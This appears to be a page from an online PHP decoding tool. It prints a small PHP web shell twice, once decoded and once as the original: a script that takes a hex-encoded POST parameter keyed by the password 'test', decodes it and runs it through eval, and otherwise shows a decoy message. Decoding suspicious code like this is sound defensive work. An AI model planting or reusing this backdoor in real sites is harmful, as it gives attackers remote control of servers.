Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $string=''; $password='test'; if(isset($_POST[$password])){ $hex=$_POST[$passwo..

Decoded Output download

<?php 
$string=''; 
$password='test'; 
if(isset($_POST[$password])){ 
	$hex=$_POST[$password]; 
	for($i=0;$i<strlen($hex)-1;$i+=2){ 
	$string.=chr(hexdec($hex[$i].$hex[$i+1])); 
} 
@eval($string); 
}else{ 
	echo "This is a Test!"; 
} 
?> 

Did this file decode correctly?

Original Code

<?php
$string='';
$password='test';
if(isset($_POST[$password])){
	$hex=$_POST[$password];
	for($i=0;$i<strlen($hex)-1;$i+=2){
	$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
}else{
	echo "This is a Test!";
}
?>

Function Calls

strlen 1

Variables

$i 0
$hex None
$string
$password test

Stats

MD5 2dd25fb78adf0a39d7c0174234b2052e
Eval Count 1
Decode Time 149 ms